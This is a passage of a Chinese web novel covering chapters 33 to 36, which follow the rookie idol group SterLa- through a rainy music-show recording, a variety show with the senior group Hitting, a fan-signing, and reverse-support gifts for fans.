网上也许多讨论这次十月回归大战的声音。新人男团里的IUE和SterLa-换一个出道时间，粉丝集中冲一波，说不定能摸到一些台的奖杯。但这次十月回归的人气团太多了，进前三的成绩放平时都能拿奖，所以两个反响不错的新男团反而一个奖杯都没拿到。 现在已经是十月的最后一天，IUE这周结束打歌，SterLa-下周还有最后一场打歌，估计是没什么机会了。另外同期出道的KtM音源和销量都不如这两个团，没有被提名的资格。 经过了大半个月的学习，打歌对五人已经驾轻就熟。他们销量过了10万后，虽然还是需要像其他新人团那样早早来等，但是基本上都能让他们排在早上，早上录制完中途还能出去，到了颁奖典礼的时候再回来。时间比之前自由了许多，中间还能出去休息或者安排其他的行程。 今天天气不好，节目录制结束，外面也下起暴雨来。 工作人员想让粉丝先离场，以免待会儿来录制节目的艺人们出去后，粉丝们秩序失控，在这种天气和湿滑路面上出现什么意外。 只是粉丝们大多好不容易来一次，为了来参加节目录制，不仅需要抽取名额，公布的时间还特别的紧，大多粉丝为了来一次都得提前做准备。遇上下雨就没了下班路，本来还能再见见自己偶像，趁机聊聊天的，这下子先走的话是没指望了。 粉丝们不愿意走，聚集在门口，工作人员一时也不好强硬的让他们离开，两相僵持下，七点就结束录制，拖到八点都还没离开。 不少艺人接下来还有行程安排，也管不了太多，多找了好几个工作人员维持秩序先离场了。 为了避免粉丝们围上来，直接从地下车库上车，等在路面上的出口的粉丝们，还没来得及分辨出来是哪一家的车牌号，就迅速穿进雨幕里开走了。 这样一来倒是没有出现拥挤或者摔倒的事故，只是粉丝们也不知道自己爱豆有没有离开，因此走了好几个团了，但门口的粉丝数一点不见少。 SterLa-还在休息室等着唐君君的电话。本来多等等也没什么，只是Hitting那边的经纪人下午的时候才说Hitting今天晚上能留出时间来录制综艺，晚上九点得带妆过去。这下算下时间只有一个小时，回去的车程半个小时，下雨了还得更久，再拖就没补妆的时间了。 Hitting是大热的前辈团，愿意带他们已经是公司和唐君君一起协调后的结果，轮不到他们来改录制时间。 欣怡一时也没主意。一位妆造师等的有点烦躁，问道，“就不能跟其他团一样直接走了吗？” “还是别了吧，万一出现什么事故呢，而且我们是新人男团，直接就这样走了不太好。”吴星雨当即拒绝。 妆造师自知没理，也没反驳，休息室内又陷入沉默。 江翰飞想说什么，又吞了回去。吴星雨说完转头过来正好看到，也有点烦躁的挠挠头，“阿飞，你想说什么就说吧。” 休息室内众人的眼光又落到江翰飞身上。 “我只是想，要不出去买点毛巾，纸巾，雨伞什么的，发给粉丝们然后跟他们说清楚情况，我觉得他们会理解的。”江翰飞说完又觉得自己想的是不是太简单了，毕竟君姐还没来电话。 听完众人表情古怪不一。有的觉得确实可以试试，有的又认为江翰飞把粉丝们想的太简单了，暗中嗤笑。 “也行，那我去买吧。跟你们行程的粉丝应该都认识我了。”欣怡想着，反正等着也是等着，浪费时间不如尝试一下。录制打歌的这栋综合楼里就有一间小超市，专门供给来楼里每天来录制节目的艺人和团队。 欣怡开门出去了，江翰飞在微信上给欣怡转了三百块钱，跟她说谢谢，让欣怡帮忙再买点巧克力分给粉丝们。 他们录制了可以休息，但粉丝们如果是一直等着他们录制从头到尾的，可能已经在这儿呆了一整天，大多数时间都得站着，比他们累的多。可以先吃点巧克力补充糖分。 欣怡提着东西下楼的时候，一眼看到了几个拿着SterLa-扇子的女生。 果然还没走啊。 欣怡心里叹口气，脸上扬起一个笑脸走过去。 “你们好，辛苦了吧。我是SterLa-的助理。” 几个女生不明所以地看着她，旁边拿着各个成员个人扇子或者手幅的见是她也慢慢聚拢过来。 “宝宝们走了吗？”其中一位女生问道。 “肯定没走啊，你看她还在呢。” “对，SterLa-还没走呢。但是也准备离开了，后面还有行程。走之前担心大家在雨里一直等着，让我帮忙给大家送点东西，大家分一分就回家吧，不然SterLa-的大家担心大家的情况，又没法离场。” 欣怡一边说一边把袋子里的毛巾纸巾和巧克力拿出来，还买了几瓶热饮，再多她就提不动了。 “是他们给我们的吗？” 拿到了先塞进包里，这是爱豆给的！ “哇！” “还有行程啊，这么辛苦吗？” “公司不要安排太多行程啊，太辛苦啦；不过也不能冷藏他们啊！该有的资源还是要安排的。” 欣怡手上不停，还直点头。伞本来夹在颈边，一有动作就夹不住直往下掉。 一个背着包的女孩子一把接住她的伞，“你分吧，我给你打着。” 欣怡发完对他们说到，“别等了，雨太大了，待会儿他们直接从地下车库上车走了。” 背着包的女孩子明白欣怡的意思了，“你让他们离场吧。放心，我们不会挤上去的，我们就站在路边，等他们的车走了我们就回家。” 其他粉丝也明白过来欣怡的担忧，虽然还是很可惜见不到爱豆了，但是有爱豆送他们的东西也是一样的收获满满！ 纷纷保证，她们不会往前挤，就站着看他们车开走了她们就回家。 欣怡见这群女生语气认真，也信了几分。 转身回楼里就开始打电话安排他们到地下车库上车回公司。 果然，他们车开过的时候就见路边的女生们一边打着伞拿着手幅一边跟他们挥手拜拜。 江翰飞靠着窗边坐着，努力压着不断窜涌上来的情绪，在没开窗的车内默默跟她们挥手拜拜。 第34章 下雨天司机不敢开太快，幸好到的时候还没开始，前辈团Hitting妆造没做完。趁着这个时间，化妆师们也赶紧把SterLa-众人的妆造再补补。 晚上九点十五分，Hitting和SterLa-第一次见面。尽管两个团都是一个公司的，但出道艺人和未出道艺人往来的地方完全分隔，而他们刚出道时Hitting正在巡演，也不可能为了他们专程回一趟公司。 Hitting是个七个人团，出道已经4年了，上张回归专辑销量百万，发歌当天就冲上了跃音日榜排行的第三名，第二天升到了第一名，是粉丝口中名副其实的无短板Top男团。也因为有了Hitting，乐狮才有了与圈内头部公司掰手腕的能力，但是Hitting之后连着推出的两个男团都没什么水花，好不容易这次推出的SterLa-出道成绩亮眼，公司也重视起来，这才同意了让SterLa-上Hitting的自制综艺来扩大知名度。 明眼人都能看出来，SterLa-就是来蹭点师兄团的热度。 “你们好啊！”Hitting的队长沈和一进来就笑着和他们打起招呼。 “各位师兄好。”五人早在回来公司的车上就商量好要怎么打招呼，叫师兄总比叫前辈来的亲近。 一番简单介绍后，众人大致熟悉了一下。 “台本你们都看过了吧？”综艺导演过来问道，主要是问SterLa-，他们和Hitting都是几年的默契，该怎么做不需要多说。 “看过了。”五人答道。 “行，现场灯光再调整一下，十分钟后开拍。”综艺导演点点头，转身去做准备。 “你们别紧张。也没有故意针对你们的意思，我们的综艺台本一向是这样。”沈和笑着跟他们说道，“秦导老说，要最真实的反应才有意思，所以我们的台本只有大致环节和问题，中间的细节和笑点需要自己挖掘。” “我们团做这档综艺做了三年了，熟悉得很，有什么不明白的直接问我们就是了。” 沈和说完带着自己团去做准备，留下五人组在原地小声商量着。 “来，准备，3 2 1！” “咔——” “Hello！大家好，我们是Hitting！” “真是好久不见啦！” “也没有很久吧？我们不是每周都在综艺见吗？” “诶，不过这次我们有可是专程回来见小师弟们的。” “难道是——” “是的，就是我们新鲜出炉的小师弟们SterLa-！欢迎！！” “欢迎！” 五人进场。 “诶诶诶！停停停。”沈河突然喊道。 两个团的人停下动作，齐刷刷地向他看去：？ “一直都是自我介绍就没意思了，这次我们玩儿个新的吧。”沈河对着正前方的镜头调了下眉，露出一个坏笑，“从左到右，我们来互相介绍吧。” “比如阿浩你站在我左边，你来用一句话介绍我。” 秦正浩敛眉思索几秒：“帅气逼人的坑货？” 沈和：“过分了嗷，我可是Rapper嗷，小心我写歌diss你嗷！” 秦正浩温温和和地笑起来。 沈和憋气，坚强地继续cue流程，“大概就是这样啦，现在就从我们的第一位开始吧！” 第一位是排在最左边的葛文山，需要形容站在旁边的禹安。 作为一个Rapper是不可能词穷的：“禹安，好吃的黑芝麻馅儿汤圆。” 禹安脸黑，葛文山也学会了，天天冲什么浪！ 闭眼，皮笑肉不笑，颇有几分咬牙切齿的味道，“谢谢你啊大山，这是说又甜又受欢迎呢吧？” 众人：哈哈哈哈哈哈！ 禹安睁开眼，转头盯着江翰飞几秒，上下飞速打量，“江翰飞，社恐的睡前大思想家。” 江翰飞愣神：？ 其他人也没明白这是什么意思，但感觉不像是好话。 禹安不管，把话筒塞进江翰飞手里。 江翰飞接过话筒，旁边是于立果：“于立果，交情天下的妈妈桑。” 其他人看着于立果露出诡异的笑容。 于立果：噗—— 于立果从江翰飞手里接过话筒，明白了，这个游戏全程叫做：一句（不是好）话形容队友。 看着吴星雨略带祈求的眼神，于立果大方的放过了他，“吴星雨，四肢发达的管家婆。” 吴星雨听着感觉比前几个好像好点，竟递给于立果一个满意的眼神，开始形容葛文山：“葛文山，需要愚公的沉默是金山。” 旁边的Hitting的成员已经笑得捂着肚子，虽然有表演的成分在，但是他们脸上的笑意和周边也笑得不行的工作人员不是假的。 导演和工作人员们也没想到这个新人团还挺有节目效果，负责控场的工作人员举起了一块大白板：“问形容原因。” 负责主持的沈和瞥见，不着痕迹地说道，“SterLa-真是个神奇的团，里面聚集着汤圆，思想家，妈妈桑，管家婆还有一座金山。” 把形容词串起来众人又是一阵发笑。 “为什么要这么形容你的队友呢？”沈和丢出问题。 葛文山沉默了两秒，居然说道，“跟着师兄秦正浩学的。” 因为举例的时候秦正浩说沈和是坑货，所以葛文山以为就是需要这种风格的形容。结果他一带头，后续的五人也跟着走歪。 众人反应过来又是一阵笑，Hitting团内笑得尤其大声，除了沈和假装黑着脸，其余人都乐不可支，江翰飞他们几人作为后辈团不敢笑得太放肆，一个个都假装咳嗽似的拿手捂着嘴笑，但是浓烈的笑意还是从笑眯的眼睛露了出来。 沈和赶紧打断，“谁问你这个呢，我们想知道，为什么要用‘好吃的黑芝麻汤圆’来形容队友禹安！” 葛文山又是一语惊人；“因为禹安是门面还是个白切黑。” 禹安咬牙瞪了一眼葛文山，都说少上网少冲浪！学的什么破词儿！ “哦~”众人意味深长的拖长了语调。 禹安从葛文山手里拿过话筒，自动进入流程，“我会这么形容阿飞是因为阿飞看起来不太好接近，是个是个超级大社恐，亲眼见过他因为尴尬五秒内直接连耳根都红透了！” 江翰飞身体一僵，脑子里开始回放起许多记忆，比如上第一次舞蹈课穿着的拖鞋，比如几周前第一次打歌采访说错话 禹安又瞥他一眼。 “至于大思想家嘛，是因为我和阿飞同一间房，他经常在晚上睡觉之前非得拉着我讨论一些大思考，然后，搞的自己失眠睡不着了。” 江翰飞脸更红了，他确实每次夜深人静之后脑子就会喜欢想到这些有的没的。 “噢噢~阿飞已经开始脸红了！”沈和和Hitting其他人起哄，“果然是新人啊，看着阿飞脸红的时候，想到了刚和阿浩认识，阿浩也很容易脸红，现在嘛——嘶！” 话说到一半，被秦正浩温和眼睛盯着的沈和说不下去了。 果然还是不一样，一个是真白，一个是真黑啊！希望阿飞弟弟以后不要变成阿浩这样！ 众人的注意力都集中到了江翰飞身上，禹安松了口气，把话筒也塞了过去。 “江翰飞还没从刚刚被大家盯着调笑的情绪里回神，干巴巴地说道，”因为于哥和什么人都聊得来，朋友很多。而且从练习生时期就很照顾我，所以之前也开玩笑说过他是妈妈桑。” “噢~”又是一阵意味深长。 于立果接着江翰飞的话，“队长肯定不用说了，那身材杠杠的！管家婆是因为队长比较辛苦，每次排舞的时候对我们管得特别的严，错一点就要全部重新再跳一次，直到不出错的跳完整支舞蹈。” 这个就很正常了，隐隐夸队友也很不错。 沈和满意的往下cue流程。 吴星雨想了想，“因为文山平时不怎么说话，我们还开玩笑，如果沉默是金是真的，那文山一定是个超级大富翁。” 介绍环节到这儿就结束了。场控打了一个板，示意第一个介绍环节结束，接下来是众人的补妆时间。 综艺导演趁着这个时间又过来了一趟，“刚刚的效果挺好的，就这个节奏保持住。” 两个团的人齐齐点头，刚刚的录制挺放松的，笑也是真的，两个团距离拉近不少，秦正浩已经和江翰飞和于立果聊上了。 “我听过你们的主打曲《钢铁丛林》，挺好听的，中间你俩那段和声我觉得是整首里最出彩的部分。” “谢谢秦师兄，这段确实练习了好久。”于立果笑着接话。 “唱现场的时候，可以把这个动作改改，这样不会拉扯到你的胸腔，发声不会抖。”秦正浩看起来挺喜欢江翰飞，还给他传授了一点唱跳小技巧，“之后你有不是很明白的可以跟我说，我的经验大概比你丰富一些。” 江翰飞和于立果都喜出望外，顺着加了秦正浩的微信。秦正浩可是他们从练习生时期就一直听说的直接从C级升到A级的神人！而且出道四年多，顶级男团的前辈，要不是同一个公司，他们连话都说不上，不在一个层次！ 第二个综艺环节是Hitting的常驻节目：和Hitting一起体验100种职业。 今天的职业是咖啡拉花师。 被邀请来上节目的是一家咖啡连锁品牌的咖啡师，主要也是为了来宣传自己的店铺。 “收尾的时候需要注意，不能太快也不能太慢，同时我们的手要配合起来，这边的杯子需要同步回角度” 咖啡师教的很快，然后就是各位成员的学习成果展示时间。 期间状况百出，比如咖啡杯忘了倾斜角度的，奶壶的高度过高导致溅得到处飞的，还有收尾太慢奶泡直接滴进花纹里的。 咖啡师面对十二个手忙脚乱的大男孩儿分身乏术。 刚从一个人身边矫正完动作，走了没两步，咖啡师发现一杯花纹完美的拉花咖啡，“咦，这是你做的吗？” “是的，我刚刚做的。”江翰飞自然回道。 咖啡师狐疑地打量了几下江翰飞，似是有点不相信一个明星能这么快把咖啡拉花掌握的这么好。 其他人听见对话也围了过来，发现江翰飞桌前的咖啡发出阵阵惊叹，“哇！阿飞你手也太巧了吧！这么快就学会了。” “你再来一个现场版，我们都没看到你怎么弄的！” 江翰飞见前辈们开口，老实的拿起一个新杯子重新开始做，熟练的加浓缩，倾斜杯子，提起奶壶，顺滑的奶泡流出，自然而然的在咖啡液表面形成一朵漂亮的牡丹。 咖啡师带着审视看着江翰飞的动作，非常标准和熟练，绝对不是今天才学会的！ “哇！阿飞你这手太厉害了！” “学得这么快吗！” 江翰飞有条不紊的拉高奶壶向前推移，利落地做着收尾。 完成，轻轻地把咖啡放在桌面上才说道，“以前做过，所以比较熟练。” 于立果插话道，“诶，这咖啡看起来好喝，要不给我吧！” “别想！我的！”视线又聚焦到开始抢咖啡的几人身上，其他人嫌弃的看了他们几眼，默默回自己的小桌子前继续练习。 我们自己做！哼！ 综艺一直录制到凌晨两点才结束。 两个团相熟不少，又喝了不少录制中的咖啡，现在精神饱满完全睡不着又约着一起去吃了宵夜。 凌晨五点宵夜结束，SterLa-五人回宿舍匆匆洗了个澡直奔造型室，今天还有签售呢！ 第35章 这是SterLa-本次回归的最后一场签售。 公司也没想到一个出道团能冲到10w+的销量，好多专辑都是缺货状态补不了货，让后面入坑的粉丝只能直接上二手市场收。更别提加签售场次了。 这个场次是朱朱唯一怕翻车，在SterLa-被牵连进霸凌事件，粉丝们齐刷刷冲销量的时候又反手买了一百张的场次。 毕竟这是当时唯一一场还开着的签售招募链接。后来她还庆幸自己多买了一百张，这链接在当天关闭之前的两个小时，销量一下子涨了五千多。 算下来这场签售大概是SterLa-出道的所有签售里最贵的一场了。 坐在位置上等待着SterLa-出场的朱朱如是想到。 她今天也大包小包提了一堆。也有给队友的友情礼物，剩下的都是给江翰飞买的。有手机，首饰和从帽子到鞋子的一整套服饰。 上次打歌结束他上车的时候握着手机，朱朱眼尖的看见了他的手机好像不是很好。说不是很好都是抬举了，就是一眼看上去质量就很不好的杂牌机。 朱朱隐隐约约从论坛一些似是而非的帖子里知道，江翰飞的家庭条件似乎不是特别好。但看到他一个大明星用着一千来块的手机，她真的觉得怜爱了。当天就去最近的商场买了最新款的手机。现在正躺在脚边的某个礼物盒子里。 没等多久，SterLa-就进场了，简单的介绍和聊天过后正式的签售就开始了。 轮到朱朱时，她刚坐下，江翰飞就主动跟她打着招呼：“好久不见呀朱朱姐。” 这是朱朱要求的，她本来就比江翰飞大，江翰飞叫起来也毫无压力，比叫老婆的结结巴巴轻松多了。 朱朱一边把礼物袋子拿起来，一边问道，“阿飞看起来很开心呀？有什么好事儿跟我分享吗？” 然后他就见江翰飞眼睛亮晶晶地看着她，说最近新认识了一位前辈，人非常好，教了他很多。 朱朱看着他开心自己心情也莫名欢快，把礼品袋子交给工作人员，“那太好啦！这次我有给你准备礼物，希望你能喜欢。能用上就再好不过了。” 江翰飞看着一堆带着Logo的袋子，他买过但也知道这些都是很有名的奢侈品牌，皱皱眉，“朱朱姐，能来就很开心了，不用每次都带这么多礼物来。太贵了。” “你还替我担心我的家产呢？放心吧，给你买的这点儿才多少！”朱朱虽然不差钱，但是看江翰飞替她心疼钱，有一种特别慰藉的感觉，但又不想江翰飞在这上面关注太多，“我可以帮你带发箍吗？” 这句话本来是看着后面的工作人员说的，她知道之前江翰飞帮粉丝带发卡被工作人员骂了。 江翰飞却没有回头，直接对着朱朱说道，“可以的朱朱姐，你戴吧。” 然后把头一低，等着朱朱给他戴发箍。 朱朱见工作人员点了头，拿出准备的狗耳朵发箍戴上去。这是一对哈士奇的耳朵。 朱朱一直觉得江翰飞和哈士奇有点像，远看像是高冷的狼，近看是一群哈士奇，再看是一只甜甜的毛都蓬松起来的幼年滚滚哈士奇。 果然很合适！见江翰飞戴上后，朱朱只有这个感觉。 “很合适！”朱朱开心的眯起眼，手痒痒，好想拍下来。 江翰飞好像洞察她想法似的，“那待会儿朱朱姐下台之后拍完照我再取下来吧。” 朱朱一愣，笑得更开心了，这就是她为什么喜欢江翰飞的原因啊。 可惜开心的时间总是短暂，工作人员开始催场了。 “这是最后一场签售会啦，过两天也是你们最后一场打歌了，中间有好长一段时间没有办法见面，阿飞要多多注意身体，别太累了哦！”朱朱快速地说完自己想说的话。 江翰飞直点头，哈士奇的狗耳朵随着他点头也晃动着，萌得朱朱恨不得扑上去捏捏他的狗耳朵，揉揉他的狗头。 朱朱下台之后直奔自己的座位，上面有自己的设备，拿起来对着江翰飞一阵咔咔咔后，才心满意足地欣赏起里面的图片来。 签售会结束后，工作人员照例把他们的礼物送到了专属的房间，里面堆着几次签售会以来收取的所有礼物。最近太忙了，他们都还没来得及拆开看。 今天签售结束才下午四点，时间还早，后面也没什么其他安排，几人就去了放礼物的小房间拆自己的礼物。 江翰飞蹲在一大堆礼品盒前发呆，这好像有点太多了，而且粗粗看去都是一些连他都熟识的超级大牌。 拆开最近的一个盒子，里面是一件短袖和一封信。 揭开信封口处的可爱蝴蝶贴纸，抽出里面的信纸，上面写着满满一张纸的话。 “阿飞！你好呀，写着封信的时候我正在准备去见你的路上，老实说，超级兴奋的。这是我第一次追星，第一次买专辑，第一次参加签售。一切的一切对我来说都很新奇。但是我很开心，也很享受现在的这种状态。 我不太会表达自己，没有其他小蝴蝶们那么好的文笔，只希望你不要练习得太累，不要忘记吃饭，不要生病。能快快乐乐，顺顺利利的一步步走，走到你梦想的地方，成为超级大Top，我会努力一直陪着你的！ 就像那天你对我说：“我会努力一直在的。” 当然了，就算你不是顶流，不是大Top我也会一直支持你的！ 这是作为一只普通的小蝴蝶对我们的首领阿飞的承诺。 给你的礼物是我选的T恤，练习的时候不要老穿那几件啦。偶尔也换换吧，希望你会喜欢！ 感谢你带我来到这个有星星的夜晚，黑漆漆的天空因为星星的点缀显得格外的美。” 江翰飞看完，忍不住又看了一遍，才小心翼翼地按照原来的折痕折好放回信封，又把信封放在盒子里。想了想先把盒子放回原来的地方，拿出手机对着一堆礼品盒拍了个照，然后才又拆开盒子，把里面的衣服拿出来往身上比划。 一连拆了好几个礼物盒，江翰飞每次看到信都会先拆信，看完单独放到一个盒子里，再看里面的礼物。 拆到一大堆眼熟的盒子时，江翰飞想起来，这好像是今天签售会上朱朱姐给的那一堆。 他对朱朱很有印象，不管是第一次她坐下来就调戏他叫他老公，还是每次都来的打歌和签售。 江翰飞选了一个小一点的礼物盒拆开，感觉这个盒子里放信件的概率比较大。 拆开后却愣了一下，里面放着一台最新款的智能手机。后面贴着一张便利贴：崽崽赶紧换手机吧，不然欣赏不了我拍的高清美图了哟！ 江翰飞把便利贴撕下来放到和所有信件一起，犹豫再三，还是直接把手机揣进了兜里，等会儿拆完礼物他就换。拆完朱朱送的一大堆，却没有找到朱朱的信件，翻找了几次，衣服都抖了好几下也没抖出个什么来。 等把大部分礼物盒拆完，江翰飞发现他真的什么都不缺了，粉丝送的帽子，眼镜，耳环，手链，戒指，香水，围巾，上衣，裤子，外套，鞋，应有尽有。 他对着那堆礼物发了好一会儿呆，吴星雨叫他吃饭的声音都没有听见，到于立果过来扯扯他胳膊他才回过神来，跟着他们吃饭去，走的时候抱着个小盒子。 “这里面装的什么？”于立果左瞅瞅，右瞅瞅地问道。 “是粉丝的信，想带回去今天晚上看。”江翰飞老实答道。 “今晚就别看了吧，明天还有打歌呢，得早点睡。“ 江翰飞紧了紧盒子，又问道，“于哥，你说我们能给粉丝买东西吗？” 于立果古怪地看他一眼，“你疯了？这么多粉丝你怎么买？怎么邮寄？” 倒是禹安听见他俩对话，凑过来说，“所有粉丝不太行，但是我们可以做逆应援。” 于立果一听想起来之前也看到过的消息，这种方式挺不错的。 江翰飞疑惑地皱皱眉看向禹安。没听过逆应援是什么，是他想的反向应援吗？ “就是我们打歌的时候，给粉丝们准备礼物。比如咖啡，糖果，小伴手礼之类的。”禹安解释道，“只是这种逆应援一般是给专场回归的歌手比较多，平常都是大家好多团一起录制节目，谁分得清是谁的粉丝呢。” 江翰飞眼睛亮了，也不用其他，可以买点大家都喜欢的小糖果，比如上次的巧克力什么的。 现在他们还没进行出道结算呢，他兜里就还有一千多块，是个妥妥的穷光蛋，只买得起巧克力了。 “那我们也不用分的太清，只说喜欢SterLa-的就可以来领取怎么样呢？”江翰飞问道。 “我觉得应该不错。”吴星雨和葛文山不知道什么时候也凑了过来，站在江翰飞的身后。 葛文山也点点头表示赞同，他之前也有这个想法，只是没具体的想法就没好意思说出口。 “那不如问问君姐吧？”禹安看着吴星雨说道，意思是让吴星雨代表大家询问唐君君可不可行。 “行，我现在就问。如果可以的话还有点时间准备。” 在几人期待的目光下吴星雨给唐君君发了消息。几分钟没回复，禹安催促着让吴星雨直接打电话得了。 吴星雨纠结了一下，他还没有主动打过电话给唐君君。 主要是不敢。 他这边儿还没鼓起勇气呢，那边唐君君的回复就过来了，“可以，让欣怡准备去了。” “可以了！可以！”吴星雨兴奋地喊道。 “嗯嗯！”江翰飞几人也莫名兴奋，“这次时间紧只能让君姐帮我们准备，下次我们可以自己准备，每人一个放在一个盒子里。感觉大家会更喜欢！” 几个大男生站在公司走廊上猴子似的兴奋讨论和叫唤，声音传出老远。 第36章 昨天唐君君同意了他们的逆应援计划却没有问他们要钱。江翰飞想问又没好意思，在做打歌的妆造的时候脑子里一直忍不住想这事儿。 心里隐隐期待着，今天来参加打歌录制的粉丝收到礼物会是什么心情呢？会不会也因为收到了准备的礼物很开心。 因为一直在兴奋逆应援的事儿，直到做完妆造江翰飞才从镜子里看见自己现在的样子。 头发喷了一次性染发剂染成了西柚粉，睫毛被夹的卷翘，在眼中和眼尾的地方用深粉色化了细细的眼线，连眉毛都刷上了一层淡淡的棕粉色眉粉，眼影搭配着在眼尾和眼皮中间的部分涂抹上了西柚色的细闪，只在灯光的照耀下露出一抹星星碎光。 显眼的浅亮发色衬托着柔润的皮肤，微微菱形的嘴唇只涂了浅浅的粉橘，整个人一改往常清冷中带着攻击性的氛围，显出柔软的样子。 “哇——”其他工作人员被奇特的氛围吸引，不由自主地看向坐在镜子前的少年，发出惊叹。 “简直像换了个人一样”吴星雨不知什么时候站在江翰飞身后，直直地看着镜子说道。 禹安和葛文山也满目惊叹的望着他，又看看镜子里的人，反复确认这个人确实就是自己平时显得冷清的队友。 江翰飞也被镜子里的自己震惊到了，仿佛是第一次认识自己一般瞪圆了眼睛。整个动作因为柔和的氛围丝毫不显突兀，反而觉得表情稚嫩又可爱。 负责江翰飞的妆造师拿着腮红刷左看右看，即骄傲又满心遗憾地放下。现在实在是刚刚好的程度，再往深了刷一点会更适合舞台，但是再等等吧，等他们快去候场之前再补，让他们再多欣赏一下难得一见的美貌。 造型师这时也把整理的衣服拿过来。为了搭配妆容和发色的柔和氛围，衣服选择了白色为主的搭配。内衬是白色的裤子和衬衣，刚刚换上的时候没有任何异常，但是造型师拿过白色轻纱外套给江翰飞穿上，把白色衬衣最顶上的三颗扣子解开露出一大片胸膛，又拿来一条透明的白纱松松地系在脖子上当做领带。 这是最顶级的诱惑，露出大片的皮肤，却又含羞带怯似的用白色的纱带遮住一些，隐隐约约透出的是带着温度的肉色。 江翰飞脸颊有点发热，一半是被众人目光看得不太好意思了，一半心里却也知道自己现在的妆造就是一种客观的美。就像当初在健身房见到方高邈，在合宿训练里见到禹安那样，光是看见就明了美的定义。 “不得了，这个妆造真的是不得了啊。”不知道哪位工作人员在呢喃着。 听见这句话的人都在心里认同地点点头。 这造型，的确是不得了啊。 造型师心里骄傲得不行，这可是他们熬了好久才做出来的方案。出道专的最后一场打歌，积累了这么多的粉丝和目光，当然要给人重重一击留下足够深刻的印象，才能在后面颁奖礼和空白期里留住粉丝。 爱豆，终究是看舞台说话的。 主持人采访放到了舞台之后，开场的时候台上只剩下了舞台中心的灯。这是早和导演商量好的。 台下SterLa-的粉丝心里刚升起疑惑，为什么到自家崽的时候，舞台就没有亮灯直接变成了开场的灯光模式。 现在的SterLa-可不是第一天来打歌时台下一个粉丝都没有的新人小糊团。因为这段时间各种事情的发酵，加上前段时间神图、搞笑梗频出的签售以及出道专最后一场打歌的诱惑力，台下坑位里站着的一百来个人里，得有二十来个都是SterLa-的团粉或者某个人的唯粉。 他们晃动着手里的应援物，还没来得及和周围的同担交流下疑问，听见独特采样的前奏声响起就吞回了想问的话，亮晶晶又满含期待地看着舞台上的动作。 看着看着，他们发现好像有点不一样，除了染了银白色头发亮到反光的禹安，还出现了另一颗染了粉色的头。 看清楚他们的站位后，江翰飞的粉丝小蝴蝶们惊喜地发现，按照舞蹈站位，这个染了新发色的人，不就是他们的阿飞吗！ 小小的尖叫声被强行吞没在死死咬住的食指里或者死死咬住的牙齿间。 不能随意叫出声破坏舞台，这是公认的规则。 还没见着正面就兴奋地使劲儿挥舞的手吸引了镜头的视线，随着受伤的应援物又丝滑的顺切到了江翰飞的正面视角。！！！！ “啊啊啊啊啊！！！” 再也忍不住的压抑的尖叫声充斥着整个录制大厅。 朱朱的手都不由自主的抖了两下。作为资深追星人和摄像头，她的手早就练出来了。 但是谁能承受得住近距离的美貌呢！ 朱朱心里不由得爆了句粗口。脱口而出时的声音都带着些微的颤抖。 人在情绪激动的时候真的很难控制住自己。 因为观众的干扰，这次的舞台录制无奈的中断了。导演直接喊话开灯，让准备第二场。 开灯之后，江翰飞的造型完整又明亮的展现在众人眼前。美的冲击来的汹涌。不少其他家粉丝也不管旁边的是不是自己同担，会不会看到自己当场爬墙，拉住人就问这是谁。 小蝴蝶们听见问话骄傲地小声科普，询问的人们纷纷表示拿到了手机就立刻关注上！ 人对美的追求是刻在骨子里的。 第二次录制重新开始，粉丝们也终于依靠各种办法抑制住了自己的激动，除了应援以外没有再三的尖叫出声。 录制结束从工作人员们的手里拿回手机，打开手机的第一件事就是开机，登陆账号，在各个平台控诉今天的美貌杀人事件。 @zzzz：江翰飞你我母子情谊到今天就结束吧T T！ @月上：我真的无比期待今天的站姐图，我真的球球了！ @清纯小狗煎包：谁还敢对江翰飞民推门面有意见！！今天真的杀疯了！[图][图] 直接看电视放松的粉丝们在SterLa-出来后就一边快速截图，一边在各个社交平台上发疯，超话是重灾区，已经被今天的视频截图刷屏，每一秒刷新都能看到新的ID在啊啊啊啊啊啊。 很快，#江翰飞神颜 慢慢爬上了文娱热搜，公司见词条出来，立即加码，送词条往高位去。点进热搜的路人们不少直接原地入坑，就算没有入坑的，也对江翰飞有了个长得非常好看的印象。 @Fly-Sterne：相机原图预览[图][图][图]，晚点出精修（虽然没有什么好修的）。 晚上8.00，朱朱拿到手机的第一个时间，把心里早就选好的几张图直接拍了相机预览图。今天晚上，不出精修不睡觉！ 谁能忍心让江翰飞的这个妆造在相机里落灰？现在正在热搜上，如果因为晚发出去一秒，少了一条彩虹屁吹捧，都是她朱朱的遗憾！ 拍完相机预览，发完博文，一刷新就看到新发的博文下的各种怪叫。朱朱看了一会儿满足的收起手机。 心理满足了该满足自己的肚子了，站一天真的是饿死个人！ 走出录制厅来到录制大楼的大门处，发现一堆粉丝围在那儿，朱朱不在意想走的时候却听到有人说道，“我的灯宝们都太真诚了，自己出道才一个月就给我们做逆应援。” “是啊，有几个男团能这么快就做逆应援的啊？” “而且还不是专场，只是打歌录制。” “今天来真的太值了，没有抢到票的那些姐妹们估计肠子都要悔青了。” 简单的几句交谈成功拉住了朱朱往外走的脚步。 灯，是粉丝给SterLa-的简称。那女生说的灯宝不就是SterLa-吗？ 啥？逆应援？ 几个交谈的女生见朱朱走过来，一个短发女生问道，“你也是SterLa-的粉丝吗？灯宝给我们准备了逆应援礼物，可以到前面凭借入场手环取。” 旁边的女孩子补充说道，“就算不是也没有关系哦，只要对SterLa-有好感也可以领取哒！” 朱朱凑上前去，工作人员一边递过来一个小袋子，一边笑着说道，“SterLa-的成员们特地跟我嘱咐了，一定要跟你们说：感谢你们的到来和支持！” 道谢接过手提袋，里面是一个小盒子不知道装的什么，一盒巧克力，一包榛子饼干还有一小瓶苏打水。 饼干和巧克力简直解了燃眉之急，饿的发晕的朱朱赶紧先拆开饼干咔嚓咔嚓吃几口。不知道是不是太饿了以及偶像滤镜太深，朱朱觉得这简直是最好吃的小饼干。吃完饼干又咬了两口巧克力，补充完糖分后整个人都精神了许多。 走出门外上了车，朱朱在车上拆开了小盒子，里面是一个小小的Logo玻璃画，以灯笼和星星为元素，缠绕着队名。 这是唐君君给SterLa-做的周边，这款玻璃画本来是要上线售卖的，但是因为造价过高，考虑到现在SterLa-作为一个新人团，第一次周边的价格太贵会给人割韭菜的感觉，这才放弃了玻璃画的这个想法。 这大概是绝版的打歌纪念物品了。 而SterLa-的几人坐在回公司的车上，打完歌后的兴奋感还没有消退，一边聊着舞台，一边刷着手机，都在用小号刷着粉丝的发文，暗戳戳地点赞。 能回馈粉丝，不管是什么，真的是太好啦。 第37章 